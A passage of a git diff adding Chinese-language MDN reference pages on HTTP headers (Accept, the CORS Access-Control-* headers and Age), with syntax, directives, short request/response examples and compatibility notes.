<MIME_type>/<MIME_subtype> +Accept: <MIME_type>/* +Accept: */* + +// Multiple types, weighted with the {{glossary("quality values", "quality value")}} syntax: +Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><code><MIME_type>/<MIME_subtype></code></dt> + <dd>单一精确的 <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME </a>类型, 例如<code>text/html</code>.</dd> + <dt><code><MIME_type>/*</code></dt> + <dd>一类 MIME 类型, 但是没有指明子类。 <code>image/*</code> 可以用来指代 <code>image/png</code>, <code>image/svg</code>, <code>image/gif</code> 以及任何其他的图片类型。</dd> + <dt><code>*/*</code></dt> + <dd>任意类型的 MIME 类型</dd> + <dt><code>;q=</code> (q因子权重)</dt> + <dd>值代表优先顺序,用相对<a href="/en-US/docs/Glossary/Quality_values">质量价值</a>表示,又称作权重。</dd> +</dl> + +<h2 id="示例">示例</h2> + +<pre>Accept: text/html + +Accept: image/* + +Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8 +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "Accept", "5.3.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Accept")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li>HTTP <a href="/en-US/docs/Web/HTTP/Content_negotiation">内容协商 </a></li> + <li>表示内容协商结果的消息头: {{HTTPHeader("Content-Type")}}</li> + <li>其他相似消息头: {{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Language")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/access-control-allow-credentials/index.html b/files/zh-cn/web/http/headers/access-control-allow-credentials/index.html new file mode 100644 index 0000000000..7085ccb0f0 --- /dev/null +++ b/files/zh-cn/web/http/headers/access-control-allow-credentials/index.html @@ -0,0 +1,94 @@ +--- +title: Access-Control-Allow-Credentials +slug: Web/HTTP/Headers/Access-Control-Allow-Credentials +tags: + - CORS + - Reference + - header + - 响应头 + - 跨域 +translation_of: Web/HTTP/Headers/Access-Control-Allow-Credentials +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>Access-Control-Allow-Credentials</code></strong> 响应头表示是否可以将对请求的响应暴露给页面。返回true则可以,其他值均不可以。</p> + +<p>Credentials可以是 cookies, authorization headers 或 TLS client certificates。</p> + +<p>当作为对预检请求的响应的一部分时,这能表示是否真正的请求可以使用credentials。注意简单的{{HTTPMethod("GET")}} 请求没有预检,所以若一个对资源的请求带了credentials,如果这个响应头没有随资源返回,响应就会被浏览器忽视,不会返回到web内容。</p> + +<p><code>Access-Control-Allow-Credentials</code> 头 工作中与{{domxref("XMLHttpRequest.withCredentials")}} 或Fetch API中的{{domxref("Request.Request()", "Request()")}} 构造器中的<code>credentials</code> 选项结合使用。Credentials必须在前后端都被配置(即the <code>Access-Control-Allow-Credentials</code> header 和 XHR 或Fetch request中都要配置)才能使带credentials的CORS请求成功。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">头部类型</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Access-Control-Allow-Credentials: true +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt>true</dt> + <dd>这个头的唯一有效值(区分大小写)。如果不需要credentials,相比将其设为false,请直接忽视这个头。</dd> +</dl> + +<h2 id="例子">例子</h2> + +<p>允许credentials:</p> + +<pre>Access-Control-Allow-Credentials: true</pre> + +<p>使用带credentials的 <a href="/en-US/docs/Web/API/XMLHttpRequest">XHR</a> :</p> + +<pre class="brush: js">var xhr = new XMLHttpRequest(); +xhr.open('GET', 'http://example.com/', true); +xhr.withCredentials = true; +xhr.send(null);</pre> + +<p>使用带credentials的 <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> :</p> + +<pre class="brush: js">fetch(url, { + credentials: 'include' +})</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">注释</th> + </tr> + <tr> + <td>{{SpecName('Fetch','#http-access-control-allow-credentials', 'Access-Control-Allow-Credentials')}}</td> + <td>{{Spec2("Fetch")}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http/headers/access-control-allow-credentials")}}</p> + +<h2 id="查阅更多">查阅更多</h2> + +<ul> + <li>{{domxref("XMLHttpRequest.withCredentials")}}</li> + <li>{{domxref("Request.Request()", "Request()")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/access-control-allow-headers/index.html b/files/zh-cn/web/http/headers/access-control-allow-headers/index.html new file mode 100644 index 0000000000..d6a3737780 --- /dev/null +++ b/files/zh-cn/web/http/headers/access-control-allow-headers/index.html @@ -0,0 +1,134 @@ +--- +title: Access-Control-Allow-Headers +slug: Web/HTTP/Headers/Access-Control-Allow-Headers +tags: + - CORS + - HTTP + - 超文本传输协议 + - 跨域资源共享 + - 首部 +translation_of: Web/HTTP/Headers/Access-Control-Allow-Headers +--- +<div>{{HTTPSidebar}}</div> + +<p>响应首部 <strong><code>Access-Control-Allow-Headers</code></strong> 用于 {{glossary("preflight request")}} (预检请求)中,列出了将会在正式请求的 {{HTTPHeader("Access-Control-Request-Headers")}} 字段中出现的首部信息。</p> + +<p>简单首部,如 {{glossary("simple header", "simple headers")}}、{{HTTPHeader("Accept")}}、{{HTTPHeader("Accept-Language")}}、{{HTTPHeader("Content-Language")}}、{{HTTPHeader("Content-Type")}} (只限于解析后的值为 <code>application/x-www-form-urlencoded、</code><code>multipart/form-data </code>或 <code>text/plain 三种MIME类型(不包括参数)),它们始终是被支持的,不需要在这个首部特意列出。</code></p> + +<p>如果请求中含有 {{HTTPHeader("Access-Control-Request-Headers")}} 字段,那么这个首部是必要的。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="notranslate">Access-Control-Allow-Headers: <em><header-name></em>[, <em><header-name></em>]* +Access-Control-Allow-Headers: *</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><code><header-name></code></dt> + <dd>可支持的请求首部名字。请求头会列出所有支持的首部列表,用逗号隔开。</dd> +</dl> + +<p>注意以下这些特定的首部是一直允许的:{{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}}, {{HTTPHeader("Content-Language")}}, {{HTTPHeader("Content-Type")}} (但只在其值属于 MIME 类型 <code>application/x-www-form-urlencoded</code>, <code>multipart/form-data</code> 或 <code>text/plain</code>中的一种时)。这些被称作{{Glossary("simple headers")}},你无需特意声明它们。</p> + +<p><strong><code>*</code> (wildcard)</strong></p> + +<p>对于没有凭据的请求(没有HTTP cookie或HTTP认证信息的请求),值“ <code>*</code>”仅作为特殊的通配符值。 在具有凭据的请求中,它被视为没有特殊语义的文字标头名称“ *”。 请注意,{{HTTPHeader(“ Authorization”)}}标头不能使用通配符,并且始终需要明确列出。</p> + +<h2 id="示例">示例</h2> + +<h3 id="自定义的请求头">自定义的请求头</h3> + +<p>下面是 <code>Access-Control-Allow-Headers</code> 标头的一个示例。 它表明,除了CORS安全清单列出的请求标头外,对服务器的CORS请求还支持名为X-Custom-Header的自定义标头。</p> + +<pre class="notranslate"><code>Access-Control-Allow-Headers: X-Custom-Header</code></pre> + +<h3 id="Multiple_headers">Multiple headers</h3> + +<p>此示例展示了支持多个标头时的 <code>Access-Control-Allow-Headers</code> 。</p> + +<pre class="notranslate"><code>Access-Control-Allow-Headers: X-Custom-Header, Upgrade-Insecure-Requests</code></pre> + +<h3 id="Example_preflight_request">Example preflight request</h3> + +<p>让我们看一个涉及<code>Access-Control-Allow-Headers</code>的预检请求示例。 </p> + +<h4 id="Request">Request</h4> + +<p>First, the request. The preflight request is an {{HTTPMethod("OPTIONS")}} request which includes some combination of the three preflight request headers: {{HTTPHeader("Access-Control-Request-Method")}}, {{HTTPHeader("Access-Control-Request-Headers")}}, and {{HTTPHeader("Origin")}}, such as:</p> + +<pre class="notranslate"><code>OPTIONS /resource/foo +Access-Control-Request-Method: DELETE +Access-Control-Request-Headers: origin, x-requested-with +Origin: https://foo.bar.org</code></pre> + +<h4 id="Response">Response</h4> + +<p>If the server allows CORS requests to use the {{HTTPMethod("DELETE")}} method, it responds with an {{HTTPHeader("Access-Control-Allow-Methods")}} response header, which lists <code>DELETE</code> along with the other methods it supports:</p> + +<pre class="notranslate"><code>HTTP/1.1 200 OK +Content-Length: 0 +Connection: keep-alive +Access-Control-Allow-Origin: https://foo.bar.org +Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE +Access-Control-Max-Age: 86400</code></pre> + +<p>If the requested method isn't supported, the server will respond with an error.</p> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('Fetch','#http-access-control-allow-headers', 'Access-Control-Allow-Headers')}}</td> + <td>{{Spec2("Fetch")}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Access-Control-Allow-Headers")}}</p> + +<h2 id="有关兼容性的注意事项">有关兼容性的注意事项</h2> + +<ul> + <li>在最新规范中提出的通配符(*),尚未被如下浏览器实现: + <ul> + <li>Chromium: <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=615313">Issue 615313</a></li> + <li>Firefox: {{bug(1309358)}}</li> + <li>Servo: <a href="https://github.com/servo/servo/issues/13283">Issue 13283</a></li> + <li>WebKit: <a href="https://bugs.webkit.org/show_bug.cgi?id=165508">Issue 165508</a></li> + </ul> + </li> +</ul> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPHeader("Access-Control-Allow-Origin")}}</li> + <li>{{HTTPHeader("Access-Control-Expose-Headers")}}</li> + <li>{{HTTPHeader("Access-Control-Allow-Methods")}}</li> + <li>{{HTTPHeader("Access-Control-Request-Headers")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/access-control-allow-methods/index.html b/files/zh-cn/web/http/headers/access-control-allow-methods/index.html new file mode 100644 index 0000000000..b7c91f8a3f --- /dev/null +++ b/files/zh-cn/web/http/headers/access-control-allow-methods/index.html @@ -0,0 +1,84 @@ +--- +title: Access-Control-Allow-Methods +slug: Web/HTTP/Headers/Access-Control-Allow-Methods +tags: + - 跨域资源共享 + - 首部 +translation_of: Web/HTTP/Headers/Access-Control-Allow-Methods +--- +<p>{{HTTPSidebar}}</p> + +<p>响应首部 <strong><code>Access-Control-Allow-Methods</code></strong> 在对 {{glossary("preflight request")}}.(预检请求)的应答中明确了客户端所要访问的资源允许使用的方法或方法列表。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">报头类型</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Access-Control-Allow-Methods: <method>, <method>, ... +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><method></dt> + <dd>用逗号隔开的允许使用的 <a href="/en-US/docs/Web/HTTP/Methods">HTTP request methods</a> 列表。</dd> +</dl> + +<h2 id="例子">例子</h2> + +<pre>Access-Control-Allow-Methods: POST, GET, OPTIONS</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">注释</th> + </tr> + <tr> + <td>{{SpecName('Fetch','#http-access-control-allow-methods', 'Access-Control-Allow-Methods')}}</td> + <td>{{Spec2("Fetch")}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Access-Control-Allow-Methods")}}</p> + +<h2 id="兼容性注解">兼容性注解</h2> + +<ul> + <li>最新规范中提到的通配符值(*)尚未在以下浏览器中实现: + <ul> + <li>Chromium: <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=615313">Issue 615313</a></li> + <li>Firefox: {{bug(1309358)}}</li> + <li>Servo: <a href="https://github.com/servo/servo/issues/13283">Issue 13283</a></li> + </ul> + </li> +</ul> + +<h2 id="查看更多">查看更多</h2> + +<ul> + <li>{{HTTPHeader("Access-Control-Allow-Origin")}}</li> + <li>{{HTTPHeader("Access-Control-Expose-Headers")}}</li> + <li>{{HTTPHeader("Access-Control-Allow-Headers")}}</li> + <li>{{HTTPHeader("Access-Control-Request-Method")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/access-control-allow-origin/index.html b/files/zh-cn/web/http/headers/access-control-allow-origin/index.html new file mode 100644 index 0000000000..07360e1377 --- /dev/null +++ b/files/zh-cn/web/http/headers/access-control-allow-origin/index.html @@ -0,0 +1,83 @@ +--- +title: Access-Control-Allow-Origin +slug: Web/HTTP/Headers/Access-Control-Allow-Origin +translation_of: Web/HTTP/Headers/Access-Control-Allow-Origin +--- +<div><code><strong>Access-Control-Allow-Origin</strong></code> 响应头指定了该响应的资源是否被允许与给定的{{glossary("origin")}}共享。</div> + +<div> </div> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Access-Control-Allow-Origin: * +Access-Control-Allow-Origin: <origin> +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt>*</dt> + <dd>对于不需具备凭证(credentials)的请求,服务器会以“<code>*</code>”作为通配符,从而允许所有域都具有访问资源的权限。</dd> + <dt><origin></dt> + <dd>指定一个可以访问资源的URI。</dd> +</dl> + +<h2 id="示例">示例</h2> + +<p>如需允许所有资源都可以访问<code>您</code>的资源,您可以如此设置:</p> + +<pre>Access-Control-Allow-Origin: *</pre> + +<p>如需允许<code>https://developer.mozilla.org</code>访问您的资源,您可以设置:</p> + +<pre>Access-Control-Allow-Origin: https://developer.mozilla.org</pre> + +<h3 id="CORS和缓存">CORS和缓存</h3> + +<p>如果服务器未使用“<code>*</code>”,而是指定了一个域,那么为了向客户端表明服务器的返回会根据<code>Origin</code>请求头而有所不同,必须在{{HTTPHeader("Vary")}}响应头中包含<code>Origin</code>。</p> + +<pre>Access-Control-Allow-Origin: https://developer.mozilla.org +Vary: Origin</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">注释</th> + </tr> + <tr> + <td>{{SpecName('Fetch','#http-access-control-allow-origin', 'Access-Control-Allow-Origin')}}</td> + <td>{{Spec2("Fetch")}}</td> + <td>初始定义</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http/headers/access-control-allow-origin")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li>{{HTTPHeader("Origin")}}</li> + <li>{{HTTPHeader("Vary")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/access-control-expose-headers/index.html b/files/zh-cn/web/http/headers/access-control-expose-headers/index.html new file mode 100644 index 0000000000..93755fa0ca --- /dev/null +++ b/files/zh-cn/web/http/headers/access-control-expose-headers/index.html @@ -0,0 +1,102 @@ +--- +title: Access-Control-Expose-Headers +slug: Web/HTTP/Headers/Access-Control-Expose-Headers +tags: + - 跨域资源共享 + - 首部 +translation_of: Web/HTTP/Headers/Access-Control-Expose-Headers +--- +<div>{{HTTPSidebar}}</div> + +<p>响应首部 <strong><code>Access-Control-Expose-Headers</code></strong> 列出了哪些首部可以作为响应的一部分暴露给外部。</p> + +<p>默认情况下,只有七种 {{Glossary("Simple response header", "simple response headers")}} (简单响应首部)可以暴露给外部:</p> + +<ul> + <li>{{HTTPHeader("Cache-Control")}}</li> + <li>{{HTTPHeader("Content-Language")}}</li> + <li>{{HTTPHeader("Content-Length")}}</li> + <li>{{HTTPHeader("Content-Type")}}</li> + <li>{{HTTPHeader("Expires")}}</li> + <li>{{HTTPHeader("Last-Modified")}}</li> + <li>{{HTTPHeader("Pragma")}}</li> +</ul> + +<p>如果想要让客户端可以访问到其他的首部信息,可以将它们在 <code>Access-Control-Expose-Headers</code> 里面列出来。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox notranslate">Access-Control-Expose-Headers: <header-name>, <header-name>, ... +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><header-name></dt> + <dd>包含0个或多个除 {{Glossary("Simple response header", "simple response headers")}} (简单响应首部)之外的<a href="/en-US/docs/Web/HTTP/Headers">首部名称</a>列表,可以暴露给外部,供页面资源使用。</dd> +</dl> + +<h2 id="示例">示例</h2> + +<p>想要暴露一个非简单响应首部,可以这样指定:</p> + +<pre class="notranslate">Access-Control-Expose-Headers: Content-Length</pre> + +<p>想要额外暴露自定义的首部,例如 <code>X-Kuma-Revision</code>,可以指定多个,用逗号隔开:</p> + +<pre class="notranslate">Access-Control-Expose-Headers: Content-Length, X-Kuma-Revision</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('Fetch','#http-access-control-expose-headers', 'Access-Control-Expose-Headers')}}</td> + <td>{{Spec2("Fetch")}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Access-Control-Expose-Headers")}}</p> + +<h2 id="关于兼容性的注意事项">关于兼容性的注意事项</h2> + +<ul> + <li>在最新规范中提出的通配符(*),尚未被如下浏览器实现: + <ul> + <li>Chromium: <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=615313">Issue 615313</a></li> + <li>Firefox: {{bug(1309358)}}</li> + <li>Servo: <a href="https://github.com/servo/servo/issues/13283">Issue 13283</a></li> + </ul> + </li> +</ul> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPHeader("Access-Control-Allow-Headers")}}</li> + <li>{{HTTPHeader("Access-Control-Allow-Origin")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/access-control-max-age/index.html b/files/zh-cn/web/http/headers/access-control-max-age/index.html new file mode 100644 index 0000000000..46ccab97ce --- /dev/null +++ b/files/zh-cn/web/http/headers/access-control-max-age/index.html @@ -0,0 +1,78 @@ +--- +title: Access-Control-Max-Age +slug: Web/HTTP/Headers/Access-Control-Max-Age +tags: + - 超文本传输协议 + - 跨域资源请求 + - 首部 +translation_of: Web/HTTP/Headers/Access-Control-Max-Age +--- +<div>{{HTTPSidebar}}</div> + +<p>The <strong><code>Access-Control-Max-Age</code></strong> 这个响应头表示 {{glossary("preflight request")}} (预检请求)的返回结果(即 {{HTTPHeader("Access-Control-Allow-Methods")}} 和{{HTTPHeader("Access-Control-Allow-Headers")}} 提供的信息) 可以被缓存多久。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">报头类型</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Access-Control-Max-Age: <delta-seconds> +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><delta-seconds></dt> + <dd>返回结果可以被缓存的最长时间(秒)。<br> + 在 Firefox 中,<a href="https://dxr.mozilla.org/mozilla-central/rev/7ae377917236b7e6111146aa9fb4c073c0efc7f4/netwerk/protocol/http/nsCORSListenerProxy.cpp#1131">上限是24小时</a> (即 86400 秒)。<br> + 在 Chromium v76 之前, <a href="https://cs.chromium.org/chromium/src/services/network/public/cpp/cors/preflight_result.cc?l=36&rcl=52002151773d8cd9ffc5f557cd7cc880fddcae3e">上限是 10 分钟</a>(即 600 秒)。<br> + 从 Chromium v76 开始,<a href="https://cs.chromium.org/chromium/src/services/network/public/cpp/cors/preflight_result.cc?l=31&rcl=49e7c0b4886cac1f3d09dc046bd528c9c811a0fa">上限是 2 小时</a>(即 7200 秒)。<br> + Chromium 同时规定了一个默认值 5 秒。<br> + 如果值为 <strong>-1</strong>,表示禁用缓存,则每次请求前都需要使用 OPTIONS 预检请求。</dd> +</dl> + +<h2 id="示例">示例</h2> + +<p>将预检请求的结果缓存10分钟:</p> + +<pre>Access-Control-Max-Age: 600 </pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">注释</th> + </tr> + <tr> + <td>{{SpecName('Fetch','#http-access-control-max-age', 'Access-Control-Max-Age')}}</td> + <td>{{Spec2("Fetch")}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Access-Control-Max-Age")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPHeader("Access-Control-Allow-Headers")}}</li> + <li>{{HTTPHeader("Access-Control-Allow-Methods")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/access-control-request-headers/index.html b/files/zh-cn/web/http/headers/access-control-request-headers/index.html new file mode 100644 index 0000000000..e6315cfa89 --- /dev/null +++ b/files/zh-cn/web/http/headers/access-control-request-headers/index.html @@ -0,0 +1,68 @@ +--- +title: Access-Control-Request-Headers +slug: Web/HTTP/Headers/Access-Control-Request-Headers +tags: + - 跨域资源共享 +translation_of: Web/HTTP/Headers/Access-Control-Request-Headers +--- +<div>{{HTTPSidebar}}</div> + +<p>请求头 <strong><code>Access-Control-Request-Headers </code></strong>出现于 {{glossary("preflight request")}} (预检请求)中,用于通知服务器在真正的请求中会采用哪些请求头。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">报头类型</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Access-Control-Request-Headers: <header-name>, <header-name>, ... +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><header-name></dt> + <dd>在实际请求中将要包含的一系列 <a href="/en-US/docs/Web/HTTP/Headers">HTTP </a>头,以逗号分隔。</dd> +</dl> + +<h2 id="示例">示例</h2> + +<pre>Access-Control-Request-Headers: X-PINGOTHER, Content-Type</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">注释</th> + </tr> + <tr> + <td>{{SpecName('Fetch','#http-access-control-request-headers', 'Access-Control-Request-Headers')}}</td> + <td>{{Spec2("Fetch")}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Access-Control-Request-Headers")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPHeader("Access-Control-Request-Method")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/access-control-request-method/index.html b/files/zh-cn/web/http/headers/access-control-request-method/index.html new file mode 100644 index 0000000000..92af190729 --- /dev/null +++ b/files/zh-cn/web/http/headers/access-control-request-method/index.html @@ -0,0 +1,69 @@ +--- +title: Access-Control-Request-Method +slug: Web/HTTP/Headers/Access-Control-Request-Method +tags: + - 请求首部 + - 跨域资源共享 +translation_of: Web/HTTP/Headers/Access-Control-Request-Method +--- +<div>{{HTTPSidebar}}</div> + +<div>请求头 <strong><code>Access-Control-Request-Method </code></strong>出现于 {{glossary("preflight request")}} (预检请求)中,用于通知服务器在真正的请求中会采用哪种 <a href="https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Methods">HTTP 方法</a>。因为预检请求所使用的方法总是 {{HTTPMethod("OPTIONS")}} ,与实际请求所使用的方法不一样,所以这个请求头是必要的。</div> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Access-Control-Request-Method: <method> +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><method></dt> + <dd>一种 <a href="/en-US/docs/Web/HTTP/Methods">HTTP请求方法 </a>, 例如 {{HTTPMethod("GET")}}、{{HTTPMethod("POST")}} 或 {{HTTPMethod("DELETE")}}。</dd> +</dl> + +<h2 id="示例">示例</h2> + +<pre>Access-Control-Request-Method: POST</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('Fetch','#http-access-control-request-method', 'Access-Control-Request-Method')}}</td> + <td>{{Spec2("Fetch")}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Access-Control-Request-Method")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPHeader("Access-Control-Request-Headers")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/age/index.html b/files/zh-cn/web/http/headers/age/index.html new file mode 100644 index 0000000000..409f142e72 --- /dev/null +++ b/files/zh-cn/web/http/headers/age/index.html @@ -0,0 +1,73 @@ +--- +title: Age +slug: Web/HTTP/Headers/Age +tags: + - 响应头 + - 缓存 + - 首部 +translation_of: Web/HTTP/Headers/Age +--- +<div>{{HTTPSidebar}}</div> + +<p><code><strong>Age</strong></code> 消息头里包含对象在缓存代理中存贮的时长,以秒为单位。.</p> + +<p>Age的值通常接近于0。表示此对象刚刚从原始服务器获取不久;其他的值则是表示代理服务器当前的系统时间与此应答中的通用头 {{HTTPHeader("Date")}} 的值之差。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">报头类型</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Age: <delta-seconds> +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><delta-seconds></dt> + <dd> + <p>一个非负整数,表示对象在缓存代理服务器中存贮的时长,以秒为单位。</p> + </dd> +</dl> + +<h2 id="示例">示例</h2> + +<pre>Age: 24</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">标题</th> + </tr> + <tr> + <td>{{RFC("7234", "Age", "5.1")}}</td> + <td>超文本协议 (HTTP/1.1): 缓存</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容情况">浏览器兼容情况</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute 